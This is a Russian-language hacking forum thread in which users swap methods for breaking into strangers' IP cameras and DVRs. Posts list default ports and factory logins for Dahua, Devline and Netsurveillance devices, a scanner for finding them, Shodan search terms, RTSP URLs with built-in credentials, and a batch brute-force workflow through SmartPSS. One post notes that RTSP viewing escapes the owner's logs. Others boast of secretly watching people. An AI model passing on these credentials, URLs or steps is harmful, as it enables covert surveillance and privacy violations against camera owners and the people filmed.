Глупцы, если вы заклеите камеру на ноутбуке, как Дед Мороз узнает, хорошо или плохо вы себя вели в этом году?..


по количеству взломов

zer0_igL
16.01.2017, 13:43
2 часа смотрел на мужика как за компом сидит и работает, круто!

rKot
28.01.2017, 17:03
А для линукса есть прога для просмотра камеры? допустим я уже знаю ip login pass и порт.

rKot
28.01.2017, 17:14
Смотрите. Это генератор ссылки к камеру по моделю

https://www.ispyconnect.com/man.aspx?n=foscam

erwerr2321
28.01.2017, 22:13
↑ (https://antichat.live/posts/4041620/)
допустим я уже знаю ip login pass и порт.


Ты хакир!

sha9
31.01.2017, 23:18
↑ (https://antichat.live/posts/4041620/)
А для линукса есть прога для просмотра камеры? допустим я уже знаю ip login pass и порт.


лиса+плагины. VLC end e.t.c.

Nz2
18.02.2017, 21:09
Продолжу эту тему для регистраторов Dahua и их Ip камер порт по умолчанию 37777 логин пасс admin

программа для просмотра Smart PSS Запускаем ее заходим в устройства и там есть кнопка Импорт импортируем наш файл и вуаля.

Сам парсер на питоне http://pastebin.com/LMrpU7r7

Nz2
01.03.2017, 21:49
Так Допилил Masscan прикрутил SDK

Теперь даешь сканировать диапазоны, программа сканирует, находит открытый порт проверяет авторизацию если ок то в XML

https://github.com/Nzt2/massann_dahua

Asasqwe
01.03.2017, 23:56
Скрины снимать нацчились с Dahua?

Nz2
02.03.2017, 09:50
Ну через SDk думаю проблем не будет.

Есть необходимость это сделать?

Asasqwe
02.03.2017, 17:10
Огромная! Пиши договоримся xedis11@mail.ru (mailto:xedis11@mail.ru)

Olivia Dunham
11.03.2017, 20:34
А смысл в этом ? Люди под видео наблюдением знают что их снимает камера и не будут делать и говорить ничего интересного.

lok888
15.03.2017, 05:26
↑ (https://antichat.live/posts/4050736/)
Продолжу эту тему для регистраторов Dahua и их Ip камер порт по умолчанию 37777 логин пасс admin
программа для просмотра Smart PSS Запускаем ее заходим в устройства и там есть кнопка Импорт импортируем наш файл и вуаля.
Сам парсер на питоне
http://pastebin.com/LMrpU7r7


здравствуйте, не подскажете где качнуть карту для программы:

http://cdn1.savepice.ru/uploads/2017/3/15/075a936b7f74b571a1e4acd67a692930-full.png

lok888
15.03.2017, 09:11
прочел инструкцию к программе. не парвильно понял эту функцию (((

думал показывает камеры на карте мира (((

кстати, есть ли такое ПО, которое будет показывать камеры, найденные по ай-пи адресу где именно в городе они размещены (улица, адрес)...

Veil
15.03.2017, 09:26
↑ (https://antichat.live/posts/4060537/)
кстати, есть ли такое ПО, которое будет показывать камеры, найденные по ай-пи адресу где именно в городе они размещены (улица, адрес)...


Вряд ли. Провайдер не допустит.

Triton_Mgn
15.03.2017, 09:44
↑ (https://antichat.live/posts/4060539/)
Вряд ли. Провайдер не допустит.


Провайдеру срать, где у кого какая камера стоит, Вопрос в том что адреса динамические, - это просто невозможно.

Veil
15.03.2017, 09:46
И провайдер не даст инфу по IP адресам. Наша контора не дает ,но у баб в абонентском отделе,всегда можно спросить.

UzZeR
22.03.2017, 14:55
Еще много камер - сканируем порт 9786

Потоки с камер идут на сервер Devline

Работает в любом браузере ч/з флэш-плеер без специального программного обеспечения

Интерфейс:

http://upload.akusherstvo.ru/image1258634.jpeg

или

http://upload.akusherstvo.ru/image1258637.jpeg

Стандартные связки логин@пароль:

admin@пусто или admin@admin

еще логины, если не подходит: chief и guard

И что интересно - много камер вообще без авторизации

Ну вот и все, удачного вам просмотра

shinZa
11.05.2017, 10:52
↑ (https://antichat.live/posts/4063747/)
Еще много камер - сканируем порт
9786
Потоки с камер идут на сервер
Devline
Работает в любом браузере ч/з флэш-плеер
без специального программного обеспечения
Интерфейс:
http://upload.akusherstvo.ru/image1258634.jpeg
или
http://upload.akusherstvo.ru/image1258637.jpeg
Стандартные связки логин@пароль:
admin
@пусто или
admin
@
admin
еще логины, если не подходит:
chief
и
guard
И что интересно - много камер вообще без авторизации
Ну вот и все, удачного вам просмотра


И что интересно - много камер вообще без авторизации ---У них авторизация по умолчаню web

Ultimausee
12.05.2017, 23:08
Есть альтернатива Active X эксплорера в других браузерах? Морда Netsurveillance работает нормально только в нем, остальные браузеры с разнообразными модулями и плагинами почему то не функционируют. Сторонние cms тоже.

shinZa
12.05.2017, 23:13
Netsurveillance на порту 34567 ???? Им куча подобных Polyvision-CMS и тд

Ultimausee
12.05.2017, 23:22
Так они то как раз и не работают. Перепробовал штук 5 cms, втч и polyvision, который просто не стримит даже после настройки. Работает только ie с веб мордой. Мб я что то не так сделал, мб там просто стрим по порту 34567 отключен (Хотя сам порт открыт). Я просто спросил, есть ли альтернативы эктиву под другие браузеры.

shinZa
13.05.2017, 08:30
Netsurveillance в браузере использует Quick Time Payer из-за которого проблемы, cms проще. Дашь ип, проверю

Ultimausee
13.05.2017, 16:55
↑ (https://antichat.live/posts/4083734/)
Netsurveillance в браузере использует Quick Time Payer из-за которого проблемы, cms проще. Дашь ип, проверю


Локалка, там ип 172.16.0.1

shinZa
14.05.2017, 10:08
Не локалка не пойдет

Ultimausee
14.05.2017, 11:54
↑ (https://antichat.live/posts/4084170/)
Не локалка не пойдет


Ну вот и я про это) и все же вопрос остается в силе, есть функционирующая альтернатива эктиву?

hunt.lsk
11.06.2017, 14:24
↑ (https://antichat.live/posts/4054690/)
Теперь даешь сканировать диапазоны, программа сканирует, находит открытый порт проверяет авторизацию если ок то в XML
https://github.com/Nzt2/massann_dahua


как это использовать? расскажите

shinZa
12.06.2017, 22:50
↑ (https://antichat.live/posts/4095418/)
как это использовать? расскажите


Автор в бане.

hunt.lsk
14.06.2017, 09:37
Подскажите порты камер и видеорегистраторов всевозможных

shinZa
14.06.2017, 12:26
↑ (https://antichat.live/posts/4096168/)
Подскажите порты камер и видеорегистраторов всевозможных


https://otvet.mail.ru/question/184378153

xeka
28.06.2017, 00:35
Получил только что сообщение с абузами от провайдера. Что может грозить за сканирование сети?

UzZeR
28.06.2017, 12:21
↑ (https://antichat.live/posts/4100448/)
Получил только что сообщение с абузами от провайдера. Что может грозить за сканирование сети?


Придут злые дяди и отключат интернет

xeka
28.06.2017, 13:38
↑ (https://antichat.live/posts/4100525/)
Придут злые дяди и отключат интернет


Нене) Абуза на сервер VPS где я поставил VPN пришла от провайдера сети которую я сканировал.

Mexel
20.07.2017, 21:57
Ответьте пожалуйста,можно ли проверить камеру на валид вручную?(Не используя никаких программ,ну или только cmd)

Matrix001
21.07.2017, 00:00
↑ (https://antichat.live/posts/4107996/)
Ответьте пожалуйста,можно ли проверить камеру на валид вручную?(Не используя никаких программ,ну или только cmd)


Я так понял у тебя Windows.

Через CMD:

netsh diag

systeminfo

Вот (https://social.technet.microsoft.com/Forums/ru-RU/cd2a198c-00f9-4d86-83eb-1fd6cd203de0/-?forum=xpru) ссылка на тему ...

P.S :

Научись пользоваться поиском (Google.com,Yandex.ru,Bing.com,Yahoo.com,Search.co m и т.д) !

Mexel
21.07.2017, 12:52
↑ (https://antichat.live/posts/4108021/)
Я так понял у тебя Windows.
Через CMD:
netsh diag
systeminfo
Вот (https://social.technet.microsoft.com/Forums/ru-RU/cd2a198c-00f9-4d86-83eb-1fd6cd203de0/-?forum=xpru)
ссылка на тему ...
P.S :

Научись пользоваться поиском (Google.com,Yandex.ru,Bing.com,Yahoo.com,Search.co m и т.д) !


Я имел ввиду удаленную камеру,как описано в статье,а эту статью(Что вы привели) я уже давно нашел..

kirya kvas
18.09.2017, 18:20
это на линукс?

Dridl
24.10.2017, 18:05
Народ, как брутите Dahua и им подобные на 37777 порту?

По порту сканером пройтись, это ясно.

Далее как обрабатываете список адресов?

RAMAZZAN
24.10.2017, 22:12
↑ (https://antichat.live/posts/4142033/)
Народ, как брутите Dahua и им подобные на 37777 порту?
По порту сканером пройтись, это ясно.
Далее как обрабатываете список адресов?


Экспортируем файл со списком устройств в SmartPSS с паролями admin admin

Открываем файл экспорта SmartPSS в word.

Создаем копии строк сколько нам нужно.

Заменяем ип адреса по умолчанию на те которые нам нужны.(или заказать парсер)

Импортируем файл обратно с SmartPSS.

Программа сама покажет с какому ип адресу пароль подошел в разделе устройства.

Dridl
24.10.2017, 23:17
↑ (https://antichat.live/posts/4142099/)
Экспортируем файл со списком устройств в SmartPSS с паролями admin admin
Открываем файл экспорта SmartPSS в word.
Создаем копии строк сколько нам нужно.
Заменяем ип адреса по умолчанию на те которые нам нужны.(или заказать парсер)
Импортируем файл обратно с SmartPSS.
Программа сама покажет с какому ип адресу пароль подошел в разделе устройства.


Парсер У меня есть, из списка IP делает xml под формат PSS

Проблема в том, что в PSS нельхя загнать большой диапазон устройств, ругается, что максимум 256 устройств может быть.

Как с этим боретесь?

RAMAZZAN
24.10.2017, 23:40
↑ (https://antichat.live/posts/4142123/)
Парсер У меня есть, из списка IP делает xml под формат PSS


Ну давай поделись и с нами

shinZa
25.10.2017, 02:10
Что от нас хочешь, подсказать как загонять в парсер по 255 ипов? Вряд ли поделиться, если покупал, они от 1500 до 2800 продаются.

UzZeR
27.03.2018, 11:15
Смотрим регистраторы на порту 37777 (тип Dahua) по rtsp протоколу​

Большинство этих регов и камер поддерживают rtsp подключение через порт 554 (важно – он должен быть открыт в сети, если порт открыт только в локалке – просмотр невозможен).

Подключение по rtsp безопаснее, чем по http (через браузер) или tcp (просмотр через прогу), так как не фиксируется в лог-файлах рега или камеры, т.е. админ даже не будет знать что кто-то смотрит

Смотреть можно через VLC media player.

Ниже сылки для подключения со стандартным набором логин:пароль

rtsp://admin:admin@ip_address:554/cam/realmonitor?channel=1&subtype=0

rtsp://666666:666666@ip_address:554/cam/realmonitor?channel=1&subtype=0

здесь после channel= номер канала (от 1 до 4 или 8 или 16, может быть и больше)

subtype=0 это основной поток, если картинка сыпется переключаем на subtype=1 доп. поток

в некоторых забугорных регах еще бывает комбинация user:user@

Если ничего не подошло, не беда – пробуем еще одну фишку:

В регах и камерах Dahua производства до 2016-17 гг. встречается набор логин:пароль локального админа - 888888:888888. С данным пользователем к регу по http или tcp можно подключиться только в локалке (правда в некоторых старых камерах работает и в нете). Но чудесным образом данный набор работает в rtsp! А так как обычные (не продвинутые) хозяева этих регов не в курсе – то пароль не меняют

rtsp://888888:888888@ip_address:554/cam/realmonitor?channel=1&subtype=0

Данная комбинация работает в половине найденных регов!

Если нет желания сканировать, можно воспользоваться поиском в Shodan (https://www.shodan.io/home) (регистрация бесплатна). В строку поиска вбиваем: Server: Dahua Rtsp Server (на 27.03 найдено около 150000 девайсов в инете).

http://i12.pixs.ru/storage/6/1/8/screenshot_2329839_29765618.jpg (http://pixs.ru/showimage/screenshot_2329839_29765618.jpg)